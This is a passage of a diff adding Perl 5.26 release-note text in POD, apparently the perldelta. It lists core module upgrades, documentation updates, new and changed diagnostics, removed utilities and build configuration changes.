+=item *
+
+L<Compress::Raw::Bzip2> has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Compress::Raw::Zlib> has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Config::Perl::V> has been upgraded from version 0.25 to 0.28.
+
+=item *
+
+L<CPAN> has been upgraded from version 2.11 to 2.18.
+
+=item *
+
+L<CPAN::Meta> has been upgraded from version 2.150005 to 2.150010.
+
+=item *
+
+L<Data::Dumper> has been upgraded from version 2.160 to 2.167.
+
+The XS implementation now supports Deparse.
+
+=item *
+
+L<DB_File> has been upgraded from version 1.835 to 1.840.
+
+=item *
+
+L<Devel::Peek> has been upgraded from version 1.23 to 1.26.
+
+=item *
+
+L<Devel::PPPort> has been upgraded from version 3.32 to 3.35.
+
+=item *
+
+L<Devel::SelfStubber> has been upgraded from version 1.05 to 1.06.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<diagnostics> has been upgraded from version 1.34 to 1.36.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Digest> has been upgraded from version 1.17 to 1.17_01.
+
+=item *
+
+L<Digest::MD5> has been upgraded from version 2.54 to 2.55.
+
+=item *
+
+L<Digest::SHA> has been upgraded from version 5.95 to 5.96.
+
+=item *
+
+L<DynaLoader> has been upgraded from version 1.38 to 1.42.
+
+=item *
+
+L<Encode> has been upgraded from version 2.80 to 2.88.
+
+=item *
+
+L<encoding> has been upgraded from version 2.17 to 2.19.
+
+This module's default mode is no longer supported.  It now
+dies when imported, unless the C<Filter> option is being used.
+
+=item *
+
+L<encoding::warnings> has been upgraded from version 0.12 to 0.13.
+
+This module is no longer supported.  It emits a warning to
+that effect and then does nothing.
+
+=item *
+
+L<Errno> has been upgraded from version 1.25 to 1.28.
+
+It now documents that using C<%!> automatically loads Errno for you.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<ExtUtils::Embed> has been upgraded from version 1.33 to 1.34.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<ExtUtils::MakeMaker> has been upgraded from version 7.10_01 to 7.24.
+
+=item *
+
+L<ExtUtils::Miniperl> has been upgraded from version 1.05 to 1.06.
+
+=item *
+
+L<ExtUtils::ParseXS> has been upgraded from version 3.31 to 3.34.
+
+=item *
+
+L<ExtUtils::Typemaps> has been upgraded from version 3.31 to 3.34.
+
+=item *
+
+L<feature> has been upgraded from version 1.42 to 1.47.
+
+=item *
+
+L<File::Copy> has been upgraded from version 2.31 to 2.32.
+
+=item *
+
+L<File::Fetch> has been upgraded from version 0.48 to 0.52.
+
+=item *
+
+L<File::Glob> has been upgraded from version 1.26 to 1.28.
+
+It now Issues a deprecation message for C<File::Glob::glob()>.
+
+=item *
+
+L<File::Spec> has been upgraded from version 3.63 to 3.67.
+
+=item *
+
+L<FileHandle> has been upgraded from version 2.02 to 2.03.
+
+=item *
+
+L<Filter::Simple> has been upgraded from version 0.92 to 0.93.
+
+It no longer treats C<no MyFilter> immediately following C<use MyFilter> as
+end-of-file.
+L<[perl #107726]|https://rt.perl.org/Public/Bug/Display.html?id=107726>
+
+=item *
+
+L<Getopt::Long> has been upgraded from version 2.48 to 2.49.
+
+=item *
+
+L<Getopt::Std> has been upgraded from version 1.11 to 1.12.
+
+=item *
+
+L<Hash::Util> has been upgraded from version 0.19 to 0.22.
+
+=item *
+
+L<HTTP::Tiny> has been upgraded from version 0.056 to 0.070.
+
+Internal 599-series errors now include the redirect history.
+
+=item *
+
+L<I18N::LangTags> has been upgraded from version 0.40 to 0.42.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<IO> has been upgraded from version 1.36 to 1.38.
+
+=item *
+
+L<IO::Socket::IP> has been upgraded from version 0.37 to 0.38.
+
+=item *
+
+L<IPC::Cmd> has been upgraded from version 0.92 to 0.96.
+
+=item *
+
+L<IPC::SysV> has been upgraded from version 2.06_01 to 2.07.
+
+=item *
+
+L<JSON::PP> has been upgraded from version 2.27300 to 2.27400_02.
+
+=item *
+
+L<lib> has been upgraded from version 0.63 to 0.64.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<List::Util> has been upgraded from version 1.42_02 to 1.46_02.
+
+=item *
+
+L<Locale::Codes> has been upgraded from version 3.37 to 3.42.
+
+=item *
+
+L<Locale::Maketext> has been upgraded from version 1.26 to 1.28.
+
+=item *
+
+L<Locale::Maketext::Simple> has been upgraded from version 0.21 to 0.21_01.
+
+=item *
+
+L<Math::BigInt> has been upgraded from version 1.999715 to 1.999806.
+
+=item *
+
+L<Math::BigInt::FastCalc> has been upgraded from version 0.40 to 0.5005.
+
+=item *
+
+L<Math::BigRat> has been upgraded from version 0.260802 to 0.2611.
+
+=item *
+
+L<Math::Complex> has been upgraded from version 1.59 to 1.5901.
+
+=item *
+
+L<Memoize> has been upgraded from version 1.03 to 1.03_01.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170420 to 5.20170530.
+
+=item *
+
+L<Module::Load::Conditional> has been upgraded from version 0.64 to 0.68.
+
+=item *
+
+L<Module::Metadata> has been upgraded from version 1.000031 to 1.000033.
+
+=item *
+
+L<mro> has been upgraded from version 1.18 to 1.20.
+
+=item *
+
+L<Net::Ping> has been upgraded from version 2.43 to 2.55.
+
+IPv6 addresses and C<AF_INET6> sockets are now supported, along with several
+other enhancements.
+
+=item *
+
+L<NEXT> has been upgraded from version 0.65 to 0.67.
+
+=item *
+
+L<Opcode> has been upgraded from version 1.34 to 1.39.
+
+=item *
+
+L<open> has been upgraded from version 1.10 to 1.11.
+
+=item *
+
+L<OS2::Process> has been upgraded from version 1.11 to 1.12.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<overload> has been upgraded from version 1.26 to 1.28.
+
+Its compilation speed has been improved slightly.
+
+=item *
+
+L<parent> has been upgraded from version 0.234 to 0.236.
+
+=item *
+
+L<perl5db.pl> has been upgraded from version 1.50 to 1.51.
+
+It now ignores F</dev/tty> on non-Unix systems.
+L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>
+
+=item *
+
+L<Perl::OSType> has been upgraded from version 1.009 to 1.010.
+
+=item *
+
+L<perlfaq> has been upgraded from version 5.021010 to 5.021011.
+
+=item *
+
+L<PerlIO> has been upgraded from version 1.09 to 1.10.
+
+=item *
+
+L<PerlIO::encoding> has been upgraded from version 0.24 to 0.25.
+
+=item *
+
+L<PerlIO::scalar> has been upgraded from version 0.24 to 0.26.
+
+=item *
+
+L<Pod::Checker> has been upgraded from version 1.60 to 1.73.
+
+=item *
+
+L<Pod::Functions> has been upgraded from version 1.10 to 1.11.
+
+=item *
+
+L<Pod::Html> has been upgraded from version 1.22 to 1.2202.
+
+=item *
+
+L<Pod::Perldoc> has been upgraded from version 3.25_02 to 3.28.
+
+=item *
+
+L<Pod::Simple> has been upgraded from version 3.32 to 3.35.
+
+=item *
+
+L<Pod::Usage> has been upgraded from version 1.68 to 1.69.
+
+=item *
+
+L<POSIX> has been upgraded from version 1.65 to 1.76.
+
+This remedies several defects in making its symbols exportable.
+L<[perl #127821]|https://rt.perl.org/Public/Bug/Display.html?id=127821>
+
+The C<POSIX::tmpnam()> interface has been removed,
+see L</"POSIX::tmpnam() has been removed">.
+
+The following deprecated functions have been removed:
+
+    POSIX::isalnum
+    POSIX::isalpha
+    POSIX::iscntrl
+    POSIX::isdigit
+    POSIX::isgraph
+    POSIX::islower
+    POSIX::isprint
+    POSIX::ispunct
+    POSIX::isspace
+    POSIX::isupper
+    POSIX::isxdigit
+    POSIX::tolower
+    POSIX::toupper
+
+Trying to import POSIX subs that have no real implementations
+(like C<POSIX::atend()>) now fails at import time, instead of
+waiting until runtime.
+
+=item *
+
+L<re> has been upgraded from version 0.32 to 0.34
+
+This adds support for the new L<C<E<47>xx>|perlre/E<sol>x and E<sol>xx>
+regular expression pattern modifier, and a change to the L<S<C<use re
+'strict'>>|re/'strict' mode> experimental feature.  When S<C<re
+'strict'>> is enabled, a warning now will be generated for all
+unescaped uses of the two characters C<"}"> and C<"]"> in regular
+expression patterns (outside bracketed character classes) that are taken
+literally.  This brings them more in line with the C<")"> character which
+is always a metacharacter unless escaped.  Being a metacharacter only
+sometimes, depending on an action at a distance, can lead to silently
+having the pattern mean something quite different than was intended,
+which the S<C<re 'strict'>> mode is intended to minimize.
+
+=item *
+
+L<Safe> has been upgraded from version 2.39 to 2.40.
+
+=item *
+
+L<Scalar::Util> has been upgraded from version 1.42_02 to 1.46_02.
+
+=item *
+
+L<Storable> has been upgraded from version 2.56 to 2.62.
+
+Fixes
+L<[perl #130098]|https://rt.perl.org/Public/Bug/Display.html?id=130098>.
+
+=item *
+
+L<Symbol> has been upgraded from version 1.07 to 1.08.
+
+=item *
+
+L<Sys::Syslog> has been upgraded from version 0.33 to 0.35.
+
+=item *
+
+L<Term::ANSIColor> has been upgraded from version 4.04 to 4.06.
+
+=item *
+
+L<Term::ReadLine> has been upgraded from version 1.15 to 1.16.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Test> has been upgraded from version 1.28 to 1.30.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Test::Harness> has been upgraded from version 3.36 to 3.38.
+
+=item *
+
+L<Test::Simple> has been upgraded from version 1.001014 to 1.302073.
+
+=item *
+
+L<Thread::Queue> has been upgraded from version 3.09 to 3.12.
+
+=item *
+
+L<Thread::Semaphore> has been upgraded from 2.12 to 2.13.
+
+Added the C<down_timed> method.
+
+=item *
+
+L<threads> has been upgraded from version 2.07 to 2.15.
+
+=item *
+
+L<threads::shared> has been upgraded from version 1.51 to 1.56.
+
+=item *
+
+L<Tie::Hash::NamedCapture> has been upgraded from version 0.09 to 0.10.
+
+=item *
+
+L<Time::HiRes> has been upgraded from version 1.9733 to 1.9741.
+
+It now builds on systems with C++11 compilers (such as G++ 6 and Clang++
+3.9).
+
+Now uses C<clockid_t>.
+
+=item *
+
+L<Time::Local> has been upgraded from version 1.2300 to 1.25.
+
+=item *
+
+L<Unicode::Collate> has been upgraded from version 1.14 to 1.19.
+
+=item *
+
+L<Unicode::UCD> has been upgraded from version 0.64 to 0.68.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<version> has been upgraded from version 0.9916 to 0.9917.
+
+=item *
+
+L<VMS::DCLsym> has been upgraded from version 1.06 to 1.08.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<warnings> has been upgraded from version 1.36 to 1.37.
+
+=item *
+
+L<XS::Typemap> has been upgraded from version 0.14 to 0.15.
+
+=item *
+
+L<XSLoader> has been upgraded from version 0.21 to 0.27.
+
+Fixed a security hole in which binary files could be loaded from a path
+outside of L<C<@INC>|perlvar/@INC>.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=back
+
+=head1 Documentation
+
+=head2 New Documentation
+
+=head3 L<perldeprecation>
+
+This file documents all upcoming deprecations, and some of the deprecations
+which already have been removed.  The purpose of this documentation is
+two-fold: document what will disappear, and by which version, and serve
+as a guide for people dealing with code which has features that no longer
+work after an upgrade of their perl.
+
+=head2 Changes to Existing Documentation
+
+We have attempted to update the documentation to reflect the changes
+listed in this document.  If you find any we have missed, send email to
+L<perlbug at perl.org|mailto:perlbug at perl.org>.
+
+Additionally, all references to Usenet have been removed, and the
+following selected changes have been made:
+
+=head3 L<perlfunc>
+
+=over 4
+
+=item *
+
+Removed obsolete text about L<C<defined()>|perlfunc/defined>
+on aggregates that should have been deleted earlier, when the feature
+was removed.
+
+=item *
+
+Corrected documentation of L<C<eval()>|perlfunc/eval>,
+and L<C<evalbytes()>|perlfunc/evalbytes>.
+
+=item *
+
+Clarified documentation of L<C<seek()>|perlfunc/seek>,
+L<C<tell()>|perlfunc/tell> and L<C<sysseek()>|perlfunc/sysseek>
+emphasizing that positions are in bytes and not characters.
+L<[perl #128607]|https://rt.perl.org/Public/Bug/Display.html?id=128607>
+
+=item *
+
+Clarified documentation of L<C<sort()>|perlfunc/sort LIST> concerning
+the variables C<$a> and C<$b>.
+
+=item *
+
+In L<C<split()>|perlfunc/split> noted that certain pattern modifiers are
+legal, and added a caution about its use in Perls before v5.11.
+
+=item *
+
+Removed obsolete documentation of L<C<study()>|perlfunc/study>, noting
+that it is now a no-op.
+
+=item *
+
+Noted that L<C<vec()>|perlfunc/vec> doesn't work well when the string
+contains characters whose code points are above 255.
+
+=back
+
+=head3 L<perlguts>
+
+=over 4
+
+=item *
+
+Added advice on
+L<formatted printing of operands of C<Size_t> and C<SSize_t>|perlguts/Formatted Printing of Size_t and SSize_t>
+
+=back
+
+=head3 L<perlhack>
+
+=over 4
+
+=item *
+
+Clarify what editor tab stop rules to use, and note that we are
+migrating away from using tabs, replacing them with sequences of SPACE
+characters.
+
+=back
+
+=head3 L<perlhacktips>
+
+=over 4
+
+=item *
+
+Give another reason to use C<cBOOL> to cast an expression to boolean.
+
+=item *
+
+Note that the macros C<TRUE> and C<FALSE> are available to express
+boolean values.
+
+=back
+
+=head3 L<perlinterp>
+
+=over 4
+
+=item *
+
+L<perlinterp> has been expanded to give a more detailed example of how to
+hunt around in the parser for how a given operator is handled.
+
+=back
+
+=head3 L<perllocale>
+
+=over 4
+
+=item *
+
+Some locales aren't compatible with Perl.  Note that these can cause
+core dumps.
+
+=back
+
+=head3 L<perlmod>
+
+=over 4
+
+=item *
+
+Various clarifications have been added.
+
+=back
+
+=head3 L<perlmodlib>
+
+=over 4
+
+=item *
+
+Updated the site mirror list.
+
+=back
+
+=head3 L<perlobj>
+
+=over 4
+
+=item *
+
+Added a section on calling methods using their fully qualified names.
+
+=item *
+
+Do not discourage manual C<@ISA>.
+
+=back
+
+=head3 L<perlootut>
+
+=over 4
+
+=item *
+
+Mention C<Moo> more.
+
+=back
+
+=head3 L<perlop>
+
+=over 4
+
+=item *
+
+Note that white space must be used for quoting operators if the
+delimiter is a word character (I<i.e.>, matches C<\w>).
+
+=item *
+
+Clarify that in regular expression patterns delimited by single quotes,
+no variable interpolation is done.
+
+=back
+
+=head3 L<perlre>
+
+=over 4
+
+=item *
+
+The first part was extensively rewritten to incorporate various basic
+points, that in earlier versions were mentioned in sort of an appendix
+on Version 8 regular expressions.
+
+=item *
+
+Note that it is common to have the C</x> modifier and forget that this
+means that C<"#"> has to be escaped.
+
+=back
+
+=head3 L<perlretut>
+
+=over 4
+
+=item *
+
+Add introductory material.
+
+=item *
+
+Note that a metacharacter occurring in a context where it can't mean
+that, silently loses its meta-ness and matches literally.
+L<C<use re 'strict'>|re/'strict' mode> can catch some of these.
+
+=back
+
+=head3 L<perlunicode>
+
+=over 4
+
+=item *
+
+Corrected the text about Unicode BYTE ORDER MARK handling.
+
+=item *
+
+Updated the text to correspond with changes in Unicode UTS#18, concerning
+regular expressions, and Perl compatibility with what it says.
+
+=back
+
+=head3 L<perlvar>
+
+=over 4
+
+=item *
+
+Document C<@ISA>.  It was documented in other places, but not in L<perlvar>.
+
+=back
+
+=head1 Diagnostics
+
+=head2 New Diagnostics
+
+=head3 New Errors
+
+=over 4
+
+=item *
+
+L<A signature parameter must start with C<'$'>, C<'@'> or C<'%'>
+|perldiag/A signature parameter must start with C<'$'>, C<'@'> or C<'%'>>
+
+=item *
+
+L<Bareword in require contains "%s"|perldiag/"Bareword in require contains "%s"">
+
+=item *
+
+L<Bareword in require maps to empty filename|perldiag/"Bareword in require maps to empty filename">
+
+=item *
+
+L<Bareword in require maps to disallowed filename "%s"|perldiag/"Bareword in require maps to disallowed filename "%s"">
+
+=item *
+
+L<Bareword in require must not start with a double-colon: "%s"|perldiag/"Bareword in require must not start with a double-colon: "%s"">
+
+=item *
+
+L<%s: command not found|perldiag/"%s: command not found">
+
+(A) You've accidentally run your script through B<bash> or another shell
+instead of Perl.  Check the C<#!> line, or manually feed your script into
+Perl yourself.  The C<#!> line at the top of your file could look like:
+
+  #!/usr/bin/perl
+
+=item *
+
+L<%s: command not found: %s|perldiag/"%s: command not found: %s">
+
+(A) You've accidentally run your script through B<zsh> or another shell
+instead of Perl.  Check the C<#!> line, or manually feed your script into
+Perl yourself.  The C<#!> line at the top of your file could look like:
+
+  #!/usr/bin/perl
+
+=item *
+
+L<The experimental declared_refs feature is not enabled|perldiag/"The experimental declared_refs feature is not enabled">
+
+(F) To declare references to variables, as in C<my \%x>, you must first enable
+the feature:
+
+    no warnings "experimental::declared_refs";
+    use feature "declared_refs";
+
+See L</Declaring a reference to a variable>.
+
+=item *
+
+L<Illegal character following sigil in a subroutine signature
+|perldiag/Illegal character following sigil in a subroutine signature>
+
+=item *
+
+L<Indentation on line %d of here-doc doesn't match delimiter
+|perldiag/Indentation on line %d of here-doc doesn't match delimiter>
+
+=item *
+
+L<Infinite recursion via empty pattern|perldiag/"Infinite recursion via empty pattern">.
+
+Using the empty pattern (which re-executes the last successfully-matched
+pattern) inside a code block in another regex, as in C</(?{ s!!new! })/>, has
+always previously yielded a segfault.  It now produces this error.
+
+=item *
+
+L<Malformed UTF-8 string in "%s"
+|perldiag/Malformed UTF-8 string in "%s">
+
+=item *
+
+L<Multiple slurpy parameters not allowed
+|perldiag/Multiple slurpy parameters not allowed>
+
+=item *
+
+L<C<'#'> not allowed immediately following a sigil in a subroutine signature
+|perldiag/C<'#'> not allowed immediately following a sigil in a subroutine signature>
+
+=item *
+
+L<panic: unknown OA_*: %x
+|perldiag/panic: unknown OA_*: %x>
+
+=item *
+
+L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>
+
+Unescaped left braces are now illegal in some contexts in regular expression
+patterns.  In other contexts, they are still just deprecated; they will
+be illegal in Perl 5.30.
+
+=item *
+
+L<Version control conflict marker|perldiag/"Version control conflict marker">
+
+(F) The parser found a line starting with C<E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>>,
+C<E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>>, or C<=======>.  These may be left by a
+version control system to mark conflicts after a failed merge operation.
+
+=back
+
+=head3 New Warnings
+
+=over 4
+
+=item *
+
+L<Can't determine class of operator %s, assuming C<BASEOP>
+|perldiag/Can't determine class of operator %s, assuming C<BASEOP>>
+
+=item *
+
+L<Declaring references is experimental|perldiag/"Declaring references is experimental">
+
+(S experimental::declared_refs) This warning is emitted if you use a reference
+constructor on the right-hand side of C<my()>, C<state()>, C<our()>, or
+C<local()>.  Simply suppress the warning if you want to use the feature, but
+know that in doing so you are taking the risk of using an experimental feature
+which may change or be removed in a future Perl version:
+
+    no warnings "experimental::declared_refs";
+    use feature "declared_refs";
+    $fooref = my \$foo;
+
+See L</Declaring a reference to a variable>.
+
+=item *
+
+L<do "%s" failed, '.' is no longer in @INC|perldiag/do "%s" failed, '.' is no longer in @INC; did you mean do ".E<sol>%s"?>
+
+Since C<"."> is now removed from C<@INC> by default, C<do> will now trigger a warning recommending to fix the C<do> statement.
+
+=item *
+
+L<C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.
+|perldiag/C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.>
+
+=item *
+
+L<Unescaped literal '%c' in regex; marked by E<lt>-- HERE in mE<sol>%sE<sol>
+|perldiag/Unescaped literal '%c' in regex; marked by <-- HERE in mE<sol>%sE<sol>>
+
+=item *
+
+L<Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30|perldiag/"Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30">
+
+See L</Deprecations>
+
+=back
+
+=head2 Changes to Existing Diagnostics
+
+=over 4
+
+=item *
+
+When a C<require> fails, we now do not provide C<@INC> when the C<require>
+is for a file instead of a module.
+
+=item *
+
+When C<@INC> is not scanned for a C<require> call, we no longer display
+C<@INC> to avoid confusion.
+
+=item *
+
+L<Attribute "locked" is deprecated, and will disappear in Perl 5.28
+|perldiag/Attribute "locked" is deprecated, and will disappear in Perl 5.28>
+
+This existing warning has had the I<and will disappear> text added in this
+release.
+
+=item *
+
+L<Attribute "unique" is deprecated, and will disappear in Perl 5.28
+|perldiag/Attribute "unique" is deprecated, and will disappear in Perl 5.28>
+
+This existing warning has had the I<and will disappear> text added in this
+release.
+
+=item *
+
+Calling POSIX::%s() is deprecated
+
+This warning has been removed, as the deprecated functions have been
+removed from POSIX.
+
+=item *
+
+L<Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32
+|perldiag/Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32>
+
+This existing warning has had the I<this will not be allowed> text added
+in this release.
+
+=item *
+
+L<Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30
+|perldiag/Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+L<C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30
+|perldiag/C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30>
+
+This existing warning has had the I<no longer be available> text added in
+this release.
+
+=item *
+
+L<Experimental %s on scalar is now forbidden
+|perldiag/Experimental %s on scalar is now forbidden>
+
+This message is now followed by more helpful text.
+L<[perl #127976]|https://rt.perl.org/Public/Bug/Display.html?id=127976>
+
+=item *
+
+Experimental "%s" subs not enabled
+
+This warning was been removed, as lexical subs are no longer experimental.
+
+=item *
+
+Having more than one /%c regexp modifier is deprecated
+
+This deprecation warning has been removed, since C</xx> now has a new
+meaning.
+
+=item *
+
+L<%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30
+|perldiag/%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30>.
+
+where "%s" is one of C<sysread>, C<recv>, C<syswrite>, or C<send>.
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+This warning is now enabled by default, as all C<deprecated> category
+warnings should be.
+
+=item *
+
+L<C<$*> is no longer supported. Its use will be fatal in Perl 5.30
+|perldiag/C<$*> is no longer supported. Its use will be fatal in Perl 5.30>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<C<$#> is no longer supported. Its use will be fatal in Perl 5.30
+|perldiag/C<$#> is no longer supported. Its use will be fatal in Perl 5.30>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Malformed UTF-8 character%s
+|perldiag/Malformed UTF-8 character%s>
+
+Details as to the exact problem have been added at the end of this
+message
+
+=item *
+
+L<Missing or undefined argument to %s
+|perldiag/Missing or undefined argument to %s>
+
+This warning used to warn about C<require>, even if it was actually C<do>
+which being executed. It now gets the operation name right.
+
+=item *
+
+NO-BREAK SPACE in a charnames alias definition is deprecated
+
+This warning has been removed as the behavior is now an error.
+
+=item *
+
+L<Odd nameE<sol>value argument for subroutine '%s'
+|perldiag/"Odd nameE<sol>value argument for subroutine '%s'">
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28
+|perldiag/Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+L<Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28
+|perldiag/Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+panic: ck_split, type=%u
+
+panic: pp_split, pm=%p, s=%p
+
+These panic errors have been removed.
+
+=item *
+
+Passing malformed UTF-8 to "%s" is deprecated
+
+This warning has been changed to the fatal
+L<Malformed UTF-8 string in "%s"
+|perldiag/Malformed UTF-8 string in "%s">
+
+=item *
+
+L<Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28
+|perldiag/Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<C<${^ENCODING}> is no longer supported. Its use will be fatal in Perl 5.28|perldiag/"${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28">
+
+This warning used to be: "Setting C<${^ENCODING}> is deprecated".
+
+The special action of the variable C<${^ENCODING}> was formerly used to
+implement the C<encoding> pragma. As of Perl 5.26, rather than being
+deprecated, assigning to this variable now has no effect except to issue
+the warning.
+
+=item *
+
+L<Too few arguments for subroutine '%s'
+|perldiag/Too few arguments for subroutine '%s'>
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Too many arguments for subroutine '%s'
+|perldiag/Too many arguments for subroutine '%s'>
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>
+|perldiag/Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>>
+
+This existing warning has had the I<here (and will be fatal...)> text
+added in this release.
+
+=item *
+
+L<Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of code point 0x%s is deprecated; the permissible max is 0x%s.  This will be fatal in Perl 5.28
+|perldiag/Use of code point 0x%s is deprecated; the permissible max is 0x%s.  This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28
+|perldiag/Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28
+|perldiag/Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added in
+this release.
+
+=back
+
+=head1 Utility Changes
+
+=head2 F<c2ph> and F<pstruct>
+
+=over 4
+
+=item *
+
+These old utilities have long since superceded by L<h2xs>, and are
+now gone from the distribution.
+
+=back
+
+=head2 F<Porting/pod_lib.pl>
+
+=over 4
+
+=item *
+
+Removed spurious executable bit.
+
+=item *
+
+Account for the possibility of DOS file endings.
+
+=back
+
+=head2 F<Porting/sync-with-cpan>
+
+=over 4
+
+=item *
+
+Many improvements.
+
+=back
+
+=head2 F<perf/benchmarks>
+
+=over 4
+
+=item *
+
+Tidy file, rename some symbols.
+
+=back
+
+=head2 F<Porting/checkAUTHORS.pl>
+
+=over 4
+
+=item *
+
+Replace obscure character range with C<\w>.
+
+=back
+
+=head2 F<t/porting/regen.t>
+
+=over 4
+
+=item *
+
+Try to be more helpful when tests fail.
+
+=back
+
+=head2 F<utils/h2xs.PL>
+
+=over 4
+
+=item *
+
+Avoid infinite loop for enums.
+
+=back
+
+=head2 L<perlbug>
+
+=over 4
+
+=item *
+
+Long lines in the message body are now wrapped at 900 characters, to stay
+well within the 1000-character limit imposed by SMTP mail transfer agents.
+This is particularly likely to be important for the list of arguments to
+F<Configure>, which can readily exceed the limit if, for example, it names
+several non-default installation paths.  This change also adds the first unit
+tests for perlbug.
+L<[perl #128020]|https://rt.perl.org/Public/Bug/Display.html?id=128020>
+
+=back
+
+=head1 Configuration and Compilation
+
+=over 4
+
+=item *
+
+C<-Ddefault_inc_excludes_dot> has added, and enabled by default.
+
+=item *
+
+The C<dtrace> build process has further changes
+L<[perl #130108]|https://rt.perl.org/Public/Bug/Display.html?id=130108>:
+
+=over
+
+=item *
+
+If the C<-xnolibs> is available, use that so a F<dtrace> perl can be
+built within a FreeBSD jail.
+
+=item *
+
+On systems that build a F<dtrace> object file (FreeBSD, Solaris, and
